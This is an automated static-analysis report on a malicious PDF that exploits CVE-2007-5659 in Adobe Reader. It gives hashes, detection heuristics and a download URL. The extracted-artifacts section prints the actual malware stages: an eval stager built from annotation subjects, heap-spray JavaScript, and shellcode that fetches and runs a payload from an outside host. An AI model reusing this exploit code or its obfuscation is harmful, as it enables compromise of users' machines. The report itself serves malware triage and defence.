Malicious PDF — malware analysis report

Static analysis result for SHA-256 7cc72a31bd451949…

MALICIOUS

PDF

16.3 KB
MD5: 5eb6303a3d1560ce2741a12b87d83c98 SHA-1: beaa22c9c9705c47270bc0b3722e68b398777c95 SHA-256: 7cc72a31bd4519493d2a53d713f5380c12a5d5797fe686ab16639b52361b8299
406 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

This PDF file contains obfuscated JavaScript that exploits CVE-2007-5659 in Adobe Reader. The script is designed to download and execute a payload from the URL http://wedsaz.info/cgi-bin/6554.html/n002106201r0007Xbc3e315cY7c177d81. The exploit targets specific versions of Adobe Reader, indicating a targeted attack.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 5 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Adobe Reader APSB08-13 patch-range version gate (CVE-2007-5659) high CVE likely PDF_JS_ADOBE_APSB08_13_PATCH_GATE
    PDF JavaScript gates the exploit payload on (>= 8 && < 8.1.1) OR (< 7.1) — the Reader 7.0.x / 8.0–8.1.1 window patched by Adobe APSB08-13 for the CVE-2007-5659 Collab.collectEmailInfo buffer overflow. Only kits that target that exact bug check both of those patch points; benign scripts do not.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Obfuscated multi-stage PDF JavaScript dropper high PDF_JS_OBFUSCATED_DROPPER
    PDF JavaScript shows 4 independent signals of exploit-kit-style multi-stage obfuscation: annot_subject_stage, hex_codec_loop, incremental_eval_build, repeated_pluginschk. This is strongly consistent with pre-2011 Adobe Reader PDF droppers — OpenAction JS reads encoded data from annotation subjects, decodes it through one or more hex / base-N loops, and invokes eval indirectly (method name built one character at a time). The actual CVE is hidden in the final decoded layer and is not visible via static analysis.
  • PDF JavaScript shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF JavaScript shellcode contains a hardcoded http(s) URL stored as little-endian %uXXXX Unicode escapes. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • ClamAV: Pdf.Exploit.Agent-35901 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-35901
  • Annotation subject callee-key hex JavaScript stager high PDF_ANNOT_SUBJECT_CALLEE_HEX_STAGER
    PDF JavaScript uses syncAnnotScan()/getAnnots() to read an indirect annotation /Subject stream, percent-decodes it through marker replacement, then uses a callee.toString()-derived key to decode and eval the final exploit stage.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://wedsaz.info/cgi-bin/6554.html/n002106201r0007Xbc3e315cY7c177d81 Referenced by PDF JavaScript

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0009_000.js
4718a27c2224fc36bf24f8e8e04598f1ad78adce4401c7be2708318738a6983d		 pdf-javascript-stream PDF /JS object 9 at offset 0x3EC2 469 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var pr = null;
var fnc = 'ev';
var sum = '';

app.doc.syncAnnotScan();

if (app.plugIns.length != 0) {
	var num = 1;

	pr = app.doc.getAnnots(
		{
			nPage: 0
		}
	);

	sum = pr[num].subject;
}

var buf = "";

if (app.plugIns.length > 3) {
	fnc += 'a';
	var arr = sum.split(/-/);

	
	for (var i = 1; i < arr.length; i++) {
		buf += String.fromCharCode("0x"+arr[i]);
	}
	fnc += 'l';
}

if (app.plugIns.length >= 2)
{
	app[fnc]/**/(buf);
}
annotation_subject_callee_hex_stage_000.js
0c199004f922fb3f3b0a5562658ec9918189d3a7a78e8ca1afb1b108dd41c075		 deobfuscated-js annotation-subject callee-key decoded JavaScript at offset 0x1978 5071 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var N22806 = new Array();var nhMWn_I____P = 0;var Cw_O_Y = "";function IM_8__dY52(Mg_02agyM6y, EY_XYF){var TK1klGdF = EY_XYF.toString();var PXn8R3rhpc_Cm_c = "";for(var mT_T__X4 = 0; mT_T__X4 < TK1klGdF.length; mT_T__X4++) {var D__a_j7_Uc_q = parseInt(TK1klGdF.substr(mT_T__X4, 1));if (!isNaN(D__a_j7_Uc_q)) {D__a_j7_Uc_q = D__a_j7_Uc_q.toString(16);if (D__a_j7_Uc_q.length == 1) { D__a_j7_Uc_q = "0" + D__a_j7_Uc_q; }else if (D__a_j7_Uc_q.length != 2) { D__a_j7_Uc_q = "00"; }PXn8R3rhpc_Cm_c = D__a_j7_Uc_q + PXn8R3rhpc_Cm_c;if (PXn8R3rhpc_Cm_c.length == 8) {break;}}}while(PXn8R3rhpc_Cm_c.length < 8) { PXn8R3rhpc_Cm_c = "0" + PXn8R3rhpc_Cm_c; }var B_2VO36U2_4yM = Mg_02agyM6y.toString(16);if (B_2VO36U2_4yM.length == 1) { B_2VO36U2_4yM = "0" + B_2VO36U2_4yM; }else if (B_2VO36U2_4yM.length != 2) { B_2VO36U2_4yM = "00"; }PXn8R3rhpc_Cm_c = "3" + B_2VO36U2_4yM + "P" + PXn8R3rhpc_Cm_c;return PXn8R3rhpc_Cm_c;}function qCh_3R3_B(SA__e72LBW37, uIG2_of_3){var AeyU_7CI8_c = new Array("");var akdeQ_r5 = SA__e72LBW37;var Px_bG6t;if ((Px_bG6t = SA__e72LBW37.lastIndexOf("%u00")) != -1) {if (Px_bG6t + 6 == SA__e72LBW37.length) {AeyU_7CI8_c[0] = SA__e72LBW37.substr(Px_bG6t + 4, 2);akdeQ_r5 = SA__e72LBW37.substring(0, Px_bG6t);}}Px_bG6t = 1;for (mT_T__X4 = 0; mT_T__X4 < uIG2_of_3.length; mT_T__X4++) {var y_ya_4 = uIG2_of_3.charCodeAt(mT_T__X4).toString(16);if (y_ya_4.length == 1) { y_ya_4 = "0" + y_ya_4; }AeyU_7CI8_c[Px_bG6t] = y_ya_4;Px_bG6t++;}mT_T__X4 = AeyU_7CI8_c[0].length ? 0 : 1;AeyU_7CI8_c[Px_bG6t] = "00";AeyU_7CI8_c[Px_bG6t + 1] = "00";Px_bG6t += 2;if ((AeyU_7CI8_c.length - mT_T__X4) % 2) {AeyU_7CI8_c[Px_bG6t] = "00";}while(mT_T__X4 < AeyU_7CI8_c.length) {akdeQ_r5 += "%u" + AeyU_7CI8_c[mT_T__X4 + 1] + AeyU_7CI8_c[mT_T__X4];mT_T__X4 += 2;}akdeQ_r5 += "%u0000";return akdeQ_r5;}function hWSB_2wc_MV06_2(a_6O_X__Gx3rkF, ls_y6e){while (a_6O_X__Gx3rkF.length*2<ls_y6e) {a_6O_X__Gx3rkF += a_6O_X__Gx3rkF;}a_6O_X__Gx3rkF = a_6O_X__Gx3rkF.substring(0,ls_y6e/2);return a_6O_X__Gx3rkF;}function n4__06s3S0Ds_w6(VQI0__F, Ekxd_t, dM_7kFCy){var t411__38 = 0x0c0c0c0c;var a_6O_X__Gx3rkF = unescape(Ekxd_t);var uIG2_of_3 = IM_8__dY52(VQI0__F, dM_7kFCy);var O57ICbJ4TXIm_ST = unescape("%u9090%u9090%u9090%u21eb%ub859%u9050%u9050%u6a51%u33ff%u64db%u2389%u026a%u8b59%uf3fb%u75af%uff07%u66e7%ucb81%u0fff%ueb43%ue8ed%uffda%uffff%u0c6a%u8b59%u0c04%ub8b1%u0483%u0608%u8358%u10c4%u3350%uc3c0");var SA__e72LBW37 = "%u9050%u9050%u9050%u9050" + "%u9090%u9090%u9090%u9090%ufbe9%u0000%u5f00%ua164%u0030%u0000%u408b%u8b0c%u1c70%u8bad%u2068%u7d80%u330c%u0374%ueb96%u8bf3%u0868%uf78b%u046a%ue859%u008f%u0000%uf9e2%u6f68%u006e%u6800%u7275%u6d6c%uff54%u8b16%ue8e8%u0079%u0000%ud78b%u8047%u003f%ufa75%u5747%u8047%u003f%ufa75%uef8b%u335f%u81c9%u04ec%u0001%u8b00%u51dc%u5352%u0468%u0001%uff00%u0c56%u595a%u5251%u028b%u4353%u3b80%u7500%u81fa%ufc7b%u652e%u6578%u0375%ueb83%u8908%uc703%u0443%u652e%u6578%u43c6%u0008%u8a5b%u04c1%u8830%u0045%uc033%u5050%u5753%uff50%u1056%uf883%u7500%u6a06%u5301%u56ff%u5a04%u8359%u04c2%u8041%u003a%ub475%u56ff%u5108%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%u03ad%u33c5%u0fdb%u10be%uf238%u0874%ucbc1%u030d%u40da%uf1eb%u1f3b%ue775%u8b5e%u245e%udd03%u8b66%u4b0c%u5e8b%u031c%u8bdd%u8b04%uc503%u5eab%uc359%u00e8%uffff%u8eff%u0e4e%u98ec%u8afe%u7e0e%ue2d8%u3373%u8aca%u365b%u2f1a%u4e70%u7175%u004a%u7468%u7074%u2f3a%u772f%u6465%u6173%u2e7a%u6e69%u6f66%u632f%u6967%u622d%u6e69%u362f%u3535%u2e34%u7468%u6c6d%u6e2f%u3030%u3132%u3630%u3032%u7231%u3030%u3730%u6258%u3363%u3365%u3531%u5963%u6337%u3731%u6437%u3138";app.ED6hqU_d1_b43Lm = unescape(qCh_3R3_B(SA__e72LBW37, uIG2_of_3));var q_dW___X = 0x400000;var rv_GhvM0E_Npq = O57ICbJ4TXIm_ST.length * 2;var ls_y6e = q_dW___X - (rv_GhvM0E_Npq+0x38);a_6O_X__Gx3rkF = hWSB_2wc_MV06_2(a_6O_X__Gx3rkF, ls_y6e);var R3_p2Pm = (t411__38 - 0x400000)/q_dW___X;for (var C7q7p_XP7csw = 0; C7q7p_XP7csw < R3_p2Pm; C7q7p_XP7csw++) {N22806[C7q7p_XP7csw] = a_6O_X__Gx3rkF + O57ICbJ4TXIm_ST;}}function w81Hfg(){var dt_v_LI_28_0g = "";for (mT_T__X4 = 0; mT_T__X4 < 12; mT_T__X4++) {dt_v_LI_28_0g += unescape("%u0c0c%u0c0c");}var RL4Lqv5 = "";for (mT_
... (truncated)
legacy_pdfkit_stage_000.js
4255130f3d14cab6bf9fe647276c9cb69541fadedf8aaf0c51d4ca86147aab70		 deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x19CC 11367 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function WRe8_2262(W52R5nuG_5gml6, Odkr_m){var B__Jop = new Array();var C_rA15__c831 = 512;var VIBJE7OtsW4L3w = 21;var SE26p07Js = 0;var m3ebtq8co2u_M = 0;var PE_p00_3T = 0;var YSFP1_nC43 = "";var F_5_BV = "";var kjfd576f = 6;try {var Bp01_1Fc = 0;if (app) {PE_p00_3T = PE_p00_3T + 2;Odkr_m = pr[Bp01_1Fc].subject;}} catch(e) { }PE_p00_3T = PE_p00_3T + 5;if (!W52R5nuG_5gml6) { B__Jop = new Array(23,201,177,89,247,29);} else {B__Jop = W52R5nuG_5gml6;}var X_kIqs_r5_c = 0;var dqoNHh3l8J_6Md2 = 0;var m2HE__0_7N40W_e = 0;while(dqoNHh3l8J_6Md2 < Odkr_m.length) {var M_TBn__01__v = Odkr_m.substr(dqoNHh3l8J_6Md2, 2);var M_A___DX5Q0l_6 = parseInt(M_TBn__01__v, 21);if (X_kIqs_r5_c >= kjfd576f) {X_kIqs_r5_c = 0;}M_A___DX5Q0l_6 -= B__Jop[X_kIqs_r5_c] * (m2HE__0_7N40W_e + 2);if (M_A___DX5Q0l_6 < 0) {M_A___DX5Q0l_6 -= Math.floor(M_A___DX5Q0l_6 / 256) * (C_rA15__c831 / 2);}if (dqoNHh3l8J_6Md2 >= 0) {M_A___DX5Q0l_6 = String.fromCharCode(M_A___DX5Q0l_6);}if (PE_p00_3T == 6) {YSFP1_nC43 += T_7v66Mn;} else if (PE_p00_3T == 7) {YSFP1_nC43 += M_A___DX5Q0l_6;} else {YSFP1_nC43 += dqoNHh3l8J_6Md2;}X_kIqs_r5_c++;dqoNHh3l8J_6Md2 += 2;m2HE__0_7N40W_e++;}var T_RwX_r = this;T_RwX_r['ev'+'al'](YSFP1_nC43);}
	WRe8_2262(0, "7h8k2cab13c1b33a15098c8e4e2b5c4c604k2kb8745f3hc26j8190690iba392ca776165h9cc2077da4c3275cc26k99b7b9212dai5g6c4j152g93040b8c8a7j0e17bj6i73a318756gbc33971f7e436b9hai03450814610a3j2j9b6j2h5e2993331i155j5d88a2a1b0837i40852344a98d36528ac1a1610d0e41b4108j93a5b87942c19861581i27aa791b06a3600f4a7i577b992b2060074gb033b0b256bg95166bab21c3b7675g744i8831662c28253i3747b27e6cb344919d6g2e9790925bc1822ha69b2hbf4g130ea7027ib0be2d18061d22823b198kbdbe3c3h004953311f8g3d550hb7919a4e1g09525bah5hb891ac08a27a8j548jak1e89759k1h642797467b932940ag234j45129185b8079i859kbj7h721h259ca8303bb621acb8011h639c3621a087bg6i523jac3h632i704k87b9a3909k4f4ja2748aak53275f1e4k0j52a7ba6g191i9598b20ba234a86h7b6e7c65ae553e3i3g7e9ebe9278a09c1a864b3184aj268f3g904e013963042k1g2d503k8d026h2b3fa41b3e36763897c00d2i7g7k63826fbd9c972a2cag50936dc2a0533210ac098c31b32hb3a34e9k7h1d1j7e184966392053617914852c27534k95a133c115bi56064ka09j684bae2g522d9ha4068213096795547h22820f55728ic1325eb85h7e68bac37ibka55fb4686fa50f3j782h3h0d1b0j2i64ai0g0dabak3e8k62117k6ca75985102j033h1c9j342497c0b0bh66056463710h59a73k910j1f7i80a15ha2539e5b840h776fa6271g80598cbf0c0dak008198775j57bdbd236j4e36512b3f5a1h9f3f3b3db18537092i3g905kae946f59741h4d51607265a3bc27ac4b1f2b3f798k9ja00jbh74bj9087ah6k3g3cae6b6e0jbh24a226b8555440a6bj9e1b566k10a5788i1iah2e89352h9jaf0f8dbk9a72b5384d4h371j1g3i1c0ja7966j608e9f1f6k7i7j6i56b84eab824c4g371gbi994k0b0ba31289b85k414430058018bh28240b7ea45dac40203h9d12548c37404i9b496g2ab69g0fa28c6a777a9a700g595e30383a30546904790a1h5808691h863d7k0136ak6a678994bc5g1ebaac586h1c0a0a154h2j7494aiaj0c20b34j2f069d9h5b1h354e83412eag7h4i792j5d40762b1f84004g7f54164f93b7a95ea90h3k6b387h579d7b231f7a2i5d1j2k51a93j1cai828a0119bj5i57a10ea94hah0386bh4g0j478hbd2g2kbg09640e3708865f603c1i9e18b90b372j729e809c8g52686e406hae84493ba72ibi772g15510824ah8a8ba68f15ab6h65595652005022bc13502a42ag6e9h9b2c1k6b9b6k903cahc0660ac32h5d9dc1b51g5b3g436k67344414c3b9554764acae9c1074667c8246999j696333b057ah8c3ea226260d8b0h45b9b5389cad45607b56b06c8f92246k2c7h4f630k7j3h3e3h17716a2kakbb5c5bb65j9a610a0d0b4c6j2c91ag3d4f5b1c2776386h4e6k983k3774ae414a02869f8g1i6i736kb76f93455b9iah4e3ia9bhbebe3d1963b8233c0e9j0g625716732k74124c214jb99f9170302b7j4b5abg7b2e34b1451582c2136229b16e688dbd8a21746555906c5g97221i202e54a8bbbea5059a23bf4c179b9a2a9k2gaj2gb82446bb5a0k02440c608i952f57104047435150a59jaj098f8a849184036k7g6e441f6g99abc2a05327ag7ca8600h0k38bia54092a92d9e5g9k2j4c691b52737j1c6i24033522c2b23g0d25bj8208516e762k120g6j6f5gahah464429337g8b667h1f8iak6f3j75843j5c2b9aah5dbg27a7aba961aa7j5697a80a470j0h2d070j23940639c17b960ca04b1h5h71aj5g781j313g4h2d9c61359f82b5aa62bj7b5a6fag4e7811914i3b86848j7e005a974f5ka07131b7122k55538dbebga6bd1ha206a27392abbgc07d1k3865121g410e8k1407102a9f320f5d4ibh597d644c2i6h1d4k1i5f7f5kaeb6178254405h66a80g90a000ab3abc7179b53b4438bj7k60b18d3c8f28c14c524b9g3ka8324e8hbgad3a9ibhaj3j962c0j88b81i74b1945a354g4g5h1h3e3g2h0901bcb76j6kbe9630728e7j956697566
... (truncated)
deobfuscated.js
1a50cd02d4496d66582a9c218ea680f34bbeef95479e96ad2ab4543009eac12a		 deobfuscated-js PDF JavaScript deobfuscation pass 86364 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 10 eval/decoder/string-building token(s). Carved artifact contains 3 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
7h8k2cab13c1b33a15098c8e4e2b5c4c604k2kb8745f3hc26j8190690iba392ca776165h9cc2077da4c3275cc26k99b7b9212dai5g6c4j152g93040b8c8a7j0e17bj6i73a318756gbc33971f7e436b9hai03450814610a3j2j9b6j2h5e2993331i155j5d88a2a1b0837i40852344a98d36528ac1a1610d0e41b4108j93a5b87942c19861581i27aa791b06a3600f4a7i577b992b2060074gb033b0b256bg95166bab21c3b7675g744i8831662c28253i3747b27e6cb344919d6g2e9790925bc1822ha69b2hbf4g130ea7027ib0be2d18061d22823b198kbdbe3c3h004953311f8g3d550hb7919a4e1g09525bah5hb891ac08a27a8j548jak1e89759k1h642797467b932940ag234j45129185b8079i859kbj7h721h259ca8303bb621acb8011h639c3621a087bg6i523jac3h632i704k87b9a3909k4f4ja2748aak53275f1e4k0j52a7ba6g191i9598b20ba234a86h7b6e7c65ae553e3i3g7e9ebe9278a09c1a864b3184aj268f3g904e013963042k1g2d503k8d026h2b3fa41b3e36763897c00d2i7g7k63826fbd9c972a2cag50936dc2a0533210ac098c31b32hb3a34e9k7h1d1j7e184966392053617914852c27534k95a133c115bi56064ka09j684bae2g522d9ha4068213096795547h22820f55728ic1325eb85h7e68bac37ibka55fb4686fa50f3j782h3h0d1b0j2i64ai0g0dabak3e8k62117k6ca75985102j033h1c9j342497c0b0bh66056463710h59a73k910j1f7i80a15ha2539e5b840h776fa6271g80598cbf0c0dak008198775j57bdbd236j4e36512b3f5a1h9f3f3b3db18537092i3g905kae946f59741h4d51607265a3bc27ac4b1f2b3f798k9ja00jbh74bj9087ah6k3g3cae6b6e0jbh24a226b8555440a6bj9e1b566k10a5788i1iah2e89352h9jaf0f8dbk9a72b5384d4h371j1g3i1c0ja7966j608e9f1f6k7i7j6i56b84eab824c4g371gbi994k0b0ba31289b85k414430058018bh28240b7ea45dac40203h9d12548c37404i9b496g2ab69g0fa28c6a777a9a700g595e30383a30546904790a1h5808691h863d7k0136ak6a678994bc5g1ebaac586h1c0a0a154h2j7494aiaj0c20b34j2f069d9h5b1h354e83412eag7h4i792j5d40762b1f84004g7f54164f93b7a95ea90h3k6b387h579d7b231f7a2i5d1j2k51a93j1cai828a0119bj5i57a10ea94hah0386bh4g0j478hbd2g2kbg09640e3708865f603c1i9e18b90b372j729e809c8g52686e406hae84493ba72ibi772g15510824ah8a8ba68f15ab6h65595652005022bc13502a42ag6e9h9b2c1k6b9b6k903cahc0660ac32h5d9dc1b51g5b3g436k67344414c3b9554764acae9c1074667c8246999j696333b057ah8c3ea226260d8b0h45b9b5389cad45607b56b06c8f92246k2c7h4f630k7j3h3e3h17716a2kakbb5c5bb65j9a610a0d0b4c6j2c91ag3d4f5b1c2776386h4e6k983k3774ae414a02869f8g1i6i736kb76f93455b9iah4e3ia9bhbebe3d1963b8233c0e9j0g625716732k74124c214jb99f9170302b7j4b5abg7b2e34b1451582c2136229b16e688dbd8a21746555906c5g97221i202e54a8bbbea5059a23bf4c179b9a2a9k2gaj2gb82446bb5a0k02440c608i952f57104047435150a59jaj098f8a849184036k7g6e441f6g99abc2a05327ag7ca8600h0k38bia54092a92d9e5g9k2j4c691b52737j1c6i24033522c2b23g0d25bj8208516e762k120g6j6f5gahah464429337g8b667h1f8iak6f3j75843j5c2b9aah5dbg27a7aba961aa7j5697a80a470j0h2d070j23940639c17b960ca04b1h5h71aj5g781j313g4h2d9c61359f82b5aa62bj7b5a6fag4e7811914i3b86848j7e005a974f5ka07131b7122k55538dbebga6bd1ha206a27392abbgc07d1k3865121g410e8k1407102a9f320f5d4ibh597d644c2i6h1d4k1i5f7f5kaeb6178254405h66a80g90a000ab3abc7179b53b4438bj7k60b18d3c8f28c14c524b9g3ka8324e8hbgad3a9ibhaj3j962c0j88b81i74b1945a354g4g5h1h3e3g2h0901bcb76j6kbe9630728e7j956697566h6a4h4k6705b29a3kbhbj789j99ac6a6j7321c2922ec30b471385a17a8f6g266c8g2k7k4k1b06255b256g1jb4b7341fb253897b897614687c45515d33623521a7b63456bj722c7i4j7j076eaj756b918dbi5g3ja1af869h06b5a2161b393f6e1cab07b4a83215be9i9c8i1h59267178b5805a1a460g92765j2j1597364ea56cbc5b8ba5077h8c3c45962b9e8g8583214d945g6h4j1b598f0d098f7459959h0i496kad04a55jb222971f7i3f620h0h2j3ka52484bh24bf585b2b1b33185b2c1f6i646k13849j7b6k7089113884503053aj28be730bc224bb1a7gc29bb78842bc6727674c5a056d0gbc1i4fa516822k6f5g33aa2ha1328j39c1196j0eah3368a41ab1294f5e5g7i7f354502c2b9205647a57e780k897ja34i1i8673997g2ea956ah9k50b33h05079h326fafa92508bf16224k29ad779j0j40692f747161165e0b1i249d636f5dbf9i4g36883j028a28311h785h488baj3071651607595k924f98924d6hac1h1g3fbj7c9aafajb08k9kb17f6j26559da75e558i0k181a301741bc123g1089973i5d4ia16k443d45668d2510098j3026a4726b9e7120641a3h15600e2i6ib62a99a2ak39ab138153769k6c6f964b0408487802bja69kb89213a3872592ba105f0g961e0d3544ag560h2746298h9gaf4f43ba536766405dadbe0d2g6d8d5k907ga56c6i2a461c5kad9b2c068335248a159317af3g0aa25da2a952147ga7153c712a4ha6822g5k09bi3957b9b14e0c1k807fbi2f8b9b51421a4c7j3b0e1322515c21789k568h21ag192f7d6hb46251059e7h81c308bhabc2427i7h6eb69g3a6c1918b3bh1a3i99064gbe7bb42f8k3e3b6g5fb82i8f525a411b2j
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.